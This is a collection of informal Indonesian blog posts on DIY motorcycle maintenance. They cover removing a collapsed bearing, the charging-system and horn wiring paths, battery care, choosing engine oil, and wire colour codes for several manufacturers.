tips-berkendara-11.jpg

12. Manfaatkan Angkutan Umum
Kebijakan Pemerintah tentang angkutan umum bisa anda terapkan.
Karena anda hanya harus mematuhi tugas anda sebagai penumpang tanpa harus diribetkan aturan saat anda berkendara dengan kendaraan pribadi.
Hal inilah alternatif terbaik untuk kenyamanan berkendara.

tips-berkendara-12.jpg

Note : Artikel diatas bersifat hiburan semata.

Trik Melepas Bearing Ambrol

Assalamu'alaikum warohmatullahi wabarokatuh

Bearing atau yang akrab disapa laher ini adalah komponen yang berfungsi sebagai poros komponen pada Sepeda Motor yang bergerak berputar mulai dari mesin,kopling,roda sampai gir.

Bearing berbentuk seperti donat dengan Berbagai ukuran dan terbuat dari besi dengan butiran (pelor) ditengah lingkaran.

bearing-01.png

Sebagai poros dari alat yang berputar tentu fungsi dari Bearing sangat vital.
Namun kerusakan karena faktor umur pakai juga tidak bisa dihindari yang mengharuskan adanya pergantian dengan bearing baru.

Gejala kerusakan ditandai dengan oblaknya komponen yang dilengkapi bearing ini.
Jika dibiarkan bisa saja Bearing Ambrol dan menyisakan bagian luar didudukan bearing yang kadang susah dikeluarkan.

bearing-02.png

Lalu bagaimana Trik melepas bearing yang ambrol?

Pertama tentu saja siapkan alat-alat untuk membongkar pasang komponen yang didapati bearingnya Rusak seperti kunci ring dan lain-lain.
Terutama Palu,stemplet,obeng min dan pahat untuk mendorong bearing keluar masuk.

bearing-03.png

Lanjutkan dengan mengoleskan stemplet pada bagian dalam bearing yang ambrol dan tempelkan 5 pelor yang tercecer seperti gambar berikut :

bearing-04.png

Masukkan ke sisa bearing bagian luar yang menempel dan geser pelor kesemua arah dan mengunci posisi laher seperti gambar berikut :

bearing-05.png

Dorong bearing keluar dengan pendorong dan pukul dengan palu dari bagian dalam hingga terlepas.

bearing-06.png

siapkan bearing yang baru dan pasang

bearing-07.png

Masalah selesai tanpa melibatkan tukang las.

Tutorial ini bisa anda terapkan sendiri dan menghemat Rp 10.000 untuk ongkos pergantian bearing baru.
Pastikan juga anda memilih kualitas terbaik untuk spare part motor anda yang lebih menjamin keawetan.

Mudah bukan.?

Skema Jalur Pengisian Sepeda Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Jadi seorang mekanik tentunya kerap mengalami keluhan dari pelanggan yang beberapa diantaranya seperti :

  1. Aki tidak mengisi
  2. Aki Baru Cepat tekor
  3. Lampu yang redup

adakah diantara hal tersebut pernah anda dengar atau bahkan anda alami?

Tentu anda juga akan bertanya apakah sebabnya?

Sudah ke bengkel tapi masih mengalami hal yang sama?

kenapa tak coba cek sendiri penyebabnya yang memang ada gangguan dari Sistem Pengisian motor anda.

Sistem pengisian adalah suatu Sistem Elektronika Sepeda Motor yang berfungsi akhir adalah sebagai penghasil setrum atau arus positif yang berfungsi untuk mengaktifkan semuanya seperti

  1. Mengisi Aki
  2. Sumber utama Pengapian DC
  3. Menghidupkan lampu sein
  4. Menghidupkan klakson dll

Jika masih pusing dengan penjelasan diatas maka silahkan simak salah satu pernyataan dibawah ini.

Beberapa orang menganggap aki lah sumber listrik utama pada motor,tapi tanpa aki pun motor non injeksi bisa hidup dan lampu sein,klakson dll berfungsi meskipun berkurang kekuatannya.

Sebaliknya jika tanpa pengisian,maka aki akan cepat habis meskipun baru,jadi sistem pengisian yang sehat akan mengoptimalkan fungsi kelistrikan sepeda motor anda.

Skema jalur pengisian sepeda motor

Gambar diatas adalah sistem pengisian semua motor yang tentu saja semuanya diawali dari Sepul Pengisian yang akan berfungsi ketika motor dihidupkan.
Sepul pengisian yang berupa kumparan lilitan kawat akan menghasilkan listrik positif ketika motor hidup.

Selanjutnya sepul pengisiann akan mengalirkan arus menuju Regulator atau kiprok yang berfungsi sebagai penampung,penyeimbang dan pembagi arus.

Selanjutnya dari kiprok akan keluar dengan ditandai kabel warna Merah yang akan terbagi kesemua komponen seperti Kunci Kontak,CDI dan Injektor pada sistem injeksi.

Itulah kenapa semua komponen kelistrikan dapat menyala meski tanpa aki dan pada saat motor dihidupkan.

Sebelum ke aki arus dari kiprok ini akan melewati Sikring yang berfungsi sebagai pengaman ketika terjadi konsleting.
Dan itu pula kenapa sikring selalu berada dekat aki.

Dari sikring barulah menuju aki yang ditandai kabel warna Merah yang selain juga berfungsi sebagai Input juga sebagai Output yang menuju semua komponen kelistrikan lain.

Masih bingung?

Jika anda mengalami semua masalah diatas atau sekedar ingin tahu silahkan lakukan pengecekan sederhana ini.

  1. Lepaskan sambungan + pada aki
  2. Siapkan kabel secukupnya dan sambungkan pada sambungan + yang anda lepaskan tadi.
  3. Hidupkan motor dan goreskan kabel tadi ke body motor anda atau arus negatif.

Jika timbul percikan api maka pengisian baik-baik saja tapi jika tidak ada percikan sedikitpun silahkan lakukan pengecekan sesuai skema pada gambar diatas.

Untuk mendukung semua tutorial ini maka anda wajib memahami Arti Warna Kabel Semua Motor sebagai acuan wajib untuk anda.. Sekian tentang Tutorial pengisian sepeda motor.

Semoga Bermanfaat..

Merawat Aki Motor

merawat-aki.png

Aki yang satu ini bukan aki-aki atau kakek-kakek yang doyan ngopi dan bawa tongkat.

Aki disini adalah salah satu komponen Kelistrikan Sepeda Motor yang mengandung muatan listrik dan berbahaya untuk dikonsumsi.

Sebagai salah satu sumber utama kelistrikan tentunya tidak sembarangan dalam hal perawatannya terutama pada Aki basah yang harus melakukan pengecekan air aki minimal 1 bulan sekali.

Lain hal dengan Aki kering yang memang bisa dikatakan tidak memerlukan perawatan.
Untuk motor lawas yang masih mengadopsi aki basah wajib merawat komponen yang satu ini.

Lalu apa saja yang perlu dilakukan.


  1. Rajinlah melakukan pengecekan ketinggian air aki,jika kurang dari garis yang ditentukan,tambahlah.
  2. Pastikan untuk isi ulang menggunakan Air Suling yang dibanderol Rp 3000-Rp 5000.
  3. Gunakan Kick Stater untuk menghidupkan motor pada kondisi dingin misalnya dipagi hari.
  4. Memaksakan menggunakan elektrik stater dipagi hari sama dengan memaksakan kinerja aki.
  5. Jangan membebani aki dengan aksesoris tambahan diluar kelistrikan motor
  6. Cek rutin aki per-bulan saat servis

Sebenarnya hal diatas cukup simpel namun kebanyakan malas untuk merawat aki.

Pada dasarnya Aki basah lebih awet dari pada aki kering jika dilakukan dengan perawatan yang maksimal.
Sederhana saja jika ingin melakukannya sendiri cukup dengan modal kemauan dan Rp 5000 (air suling).

Aki yang terawat bisa bertahan sampai 5 tahun dengan biaya perawatan sendiri yang hanya Rp 5000/3 bulan.

Jalur Klakson Motor

Assalamu'alaikum warohmatullahi wabarokatuh

klakson.png

Tidit tidit teroret bunyi khas peranti yang satu ini,namun jika rusak kadang bunyinya kaya orang lapar.

Masih tentang ilmu otomotif kali ini giliran kita bahas Jalur Klakson.
Sebelumnya pastikan anda pahami tentang Arti Warna Kabel Semua Motor.

jalur-klakson.png

Keterangan Gambar :

  • 1. Sepul Pengisian
  • 2. Regulator
  • 3. Sikring
  • 4. Aki
  • 5. Kunci Kontak
  • 6. Tombol Klakson
  • 7. Klakson


Garis berwarna hanyalah ilustrasi kabel dengan penjabaran sebagai berikut :

Sumber utama dari Klakson adalah sepul pengisian (1) yang kemudian akan dialirkan ke Regulator (2) yang berlanjut ke 2 jalur antara langsung ke kunci kontak (5) dan ke aki (4) yang melalui pengaman korsleting atau sikring (3) yang pada posisi on akan mengalir ke tombol klakson (6) yang pada saat ditekan akan mengalir ke klakson (7) yang membuat klakson bunyi adalah adanya dukungan kabel masa (-) pada klakson itu sendiri.

Kesimpulannya adalah klakson bisa tetap berbunyi meski mesin motor tidak dalam keadaan menyala.
Dengan catatan aki dalam kondisi normal.

Saatnya bisingin tetangga tet tot tet tururut

Tips Memilih Oli Motor

Assalamu'alaikum warohmatullahi wabarokatuh

takaran-oli.png

OLI atau pelumas merupakan salah satu bagian yang tak terpisahkan dari peralatan mesin bensin ataupun diesel.

Menjawab e-mail yang masuk via konsultasikan Motor berikut ulasan singkat tentang oli.

Kadang kita dipusingkan dengan pertanyaan seperti :
Oli apa yang cocok untuk motor kita.?
Apakah baik gonta-ganti merk oli.?
Berapa lama jangka waktu ganti oli..?
Berapa takaran yang pas untuk oli motor?.

berikut rinciannya diambil berdasarkan pengalaman bertahun-tahun dibengkel.

1. Memilih oli yang cocok
Sebenarnya sederhana saja untuk menentukan hal ini.
semua oli pada dasarnya mempunyai fungsi yang sama yakni sebagai pelumas dan pelindung dari gesekan antar komponen mesin.
Namun yang membedakan adalah apakah oli yang kita pilih bertujuan lebih ke perawatan atau performa?

Oli juga bervariasi dari segi harga yang kadang juga mempengaruhi pilihan anda.
Namun apakah oli yang mahal lebih menjamin?
Jawabannya tidak karena mesin tentunya mempunyai karakteristik tersendiri dan tidak mengenal apa itu harga.

Dari segi kekentalan yang ditunjukan dengan kode SAE 20W50 misalnya adalah oli yang besifat kental.
20W Berarti Suhu dingin pengujian oli pada temperatur tertentu dan kode dikemasan oli pada 20W Adalah yang tepat untuk suhu indonesia.
Angka 50 adalah tingkat kekentalan oli,semakin rendah angka tersebut encer.

Oli yang bersifat kental disinyalir lebih handal dalam perawatan dan yang encer tentu pula handal dalam performa yang tentunya kembali pada pilihan kita.?

2. Gonta-ganti oli
Sejatinya pemilihan oli yang cocok adalah oli recomendasi sesuai pabrikan motor.
Misalnya Honda pada AHM OIL dan Yamaha Dengan YAMALUBE.

Tapi tetap saja pada kenyataannya kadang ditemukan perbedaan pada mesin tentunya saat menggunakan oli rekomendasi dan setelah pergantian menggunakan oli merk pasar.

Mungkin kita kadang dipusingkan dengan hal seperti ini.
Oli rekomendasi tapi tak cocok dengan motor atau Oli Merk Pasar tapi cocok pada motor?

Tiap mesin tentunya mempunyai karakteristik tersendiri meskipun satu merk dan satu pabrikan.
Jadi tak ada salahnya mencoba berbagai merk oli ditiap pergantian.
Tak harus mahal yang penting cocok.

3. Jangka Waktu Pergantian
Beberapa oli diklaim mampu bertahan sampai 2000km bahkan lebih.
Lalu apakah harus mengganti pada jarak tempuh tersebut?
Jika Pengalaman yang berbicara tentu saja jawabannya tidak.

Pergantian baiknya dilakukan secara periodik atau rentan waktu tertentu ditinjau dari tingkat kekentalan oli dan fungsi kendaraan.

Oli dengan kekentalan tinggi tentunya lebih awet dari segi umur pakai atau maksimal pergantian adalah perbulan.

Dari fungsi motor tentunya lebih memerlukan perhatian.
Apakah motor anda termasuk motor dengan mobilitas tinggi ataukah motor dinas kerja atau sehari-hari.

Dari pernyataan diatas dapat disimpulkan bahwa pergantian oli yang baik adalah perbulan.
Dengan catatan untuk kendaraan dengan mobilitas tinggi menggunakan oli dengan kekentalan tinggi begitupun sebaliknya.

4. Takaran oli
Pada kemasan oli untuk motor biasanya tertulis 1 liter ataupun 800 ml.

Pola penggunaanya kadang pula dipusingkan dengan tulisan yang terdapat pada bak kopling atau bak oli pada motor.

Contoh pada motor bebek tertera 800 ml dan motor jalu atau sport 1 liter.

Untuk motor bebek dengan kondisi mesin normal memang pas pada 800 ml.
Lain hal dengan mesin yang bocor,mrembes,berasap dan berisik dianjurkan menggunakan takaran 1 liter sebelum dilakukan perbaikan.
hal ini untuk mengantisipasi oli yang terbuang karena hal-hal tersebut.

Khusus untuk mx meskipun tertulis 800 ml pada bak oli dan mengingat mx memiliki tipe rangkaian mesin berdiri,maka lebih saya sarankan menggunakan takaran 1 liter yang tentunya dari pengalaman dibengkel.

Rasanya lengkap sudah membahas tentang oli.

Masih bingung atau ada yang kurang?

Arti Warna Kabel Semua Motor

Assalamu'alaikum warohmatullahi wabarokatuh

arti-warna-kabel.png
Automotif - Kabel adalah suatu alat untuk menyalurkan arus bermuatan positif (+) atau negatif (-).
Salah satu komponen pada sepeda motor ini memiliki peranan tersendiri dan juga rahasia tersendiri.

Apa Rahasianya..?

Kabel pada motor memang memiliki warna yang beragam yang tentunya memiliki arti tersendiri.
Arti disini berarti satu Warna Kabel mewakili satu jalur contohnya jika kabel aki (+) berwarna Merah Maka semua kabel berwarna Merah yang ditemui di semua rangkaian pada sepeda motor berarti itu adalah kabel dari atau menuju ke Aki.

Berikut diagram perkabelan pabrikan motor.

Arti Warna Kabel Motor HONDA
  • Merah = Aki (+)
  • Hijau = Masa (-)
  • Hitam = Arus dari Kunci Kontak (+)
  • Putih = Pengisian dari spul & lampu Dekat (+)
  • Kuning = Arus Lampu (+)
  • Biru = Lampu Jauh (+)
  • Abu-abu = Flasher Sein (+)
  • Biru Laut = Sein Kanan (+)
  • Orange = Sein Kiri (+)
  • Coklat = Lampu Kota (+)
  • Hitam - Merah = Spul CDI (+)
  • Hitam - Putih = Kunci Kontak (+)
  • Hitam - Kuning = Koil (+)
  • Biru - Kuning = Pulser CDI (+)
  • Hijau - Kuning = Lampu Rem (+)

Arti Warna kabel KAWASAKI
  • Hitam Garis Kuning = Masa (-)
  • Putih Garis Merah = Aki (+)
  • Merah Garis Hitam = Lampu Depan jauh (+)
  • Merah Garis Kuning = Lampu Depan Dekat (+)
  • Abu-Abu = Sein Kanan (+)
  • Hijau = Sein Kiri (+)
  • Biru = Lampu Rem (+)
  • Merah = Lampu Belakang (+)
  • Coklat = Klakson (+)

Arti Warna Kabel Suzuki
  • Hitam Garis Putih = Massa,berlaku untuk semua arus negatif (-)
  • Putih Garis Merah = Pengisian dari Aki (+)
  • Kuning Garis Putih = Untuk Penerangan (+)
  • Merah = Aki (+)
  • Orange = Kunci Kontak (+)
  • Abu-Abu = Lampu belakang (+)
  • Putih Garis Hitam = Lampu Rem (+)
  • Hijau Muda = Sein Kanan (+)
  • Hitam = Sein Kiri (+)
  • Kuning Garis Putih = Lampu Depan (+)
  • Putih Garis Biru = Koil ke CDI (+)
  • Biru Garis Kuning = Pulser ke CDI (+)

Arti Warna Kabel YAMAHA
  • Hitam = Massa,berlaku untuk semua arus negatif (-)
  • Merah = Aki (+)
  • Kuning = Lampu Depan Jauh (+)
  • Hijau = Arus Penerangan (+)
  • Putih Garis Merah = Pulser CDI (+)
  • Hijau Garis Hitam = Lampu Rem (+)

KETERANGAN :
- (+) = Arus Positif
- (-) = Arus Negatif.

Setiap Pabrikan memang memilih warna yang berbeda-beda dan jika anda mau belajar silahkan perhatikan bagan diatas.

Untuk motor diluar pabrikan diatas/motor China kadang mengikuti salah satu sistem pabrikan tersebut.
Cara mengetahuinya adalah dengan melihat kabel Masanya berwarna apa (kabel (-) aki).

Jika kabel Ground (Masa) berwarna Hijau maka sudah dapat dipastikan sistem perkabelan motor tersebut mengikuti perkabelan HONDA.

Cukup Mudah Bukan..?

Dasar dari ilmu perkabelan adalah dari warnanya dulu,pelajarilah.

Ilmu perkabelan itu mahal harganya,,mengaplikasi yang sudah jadi saja dihargai Rp 80.000 untuk jasa pemasangannya saja.

Tertarik..? Atau konsultasikan Masalah Motor Anda Disini.

Semoga Bermanfaat.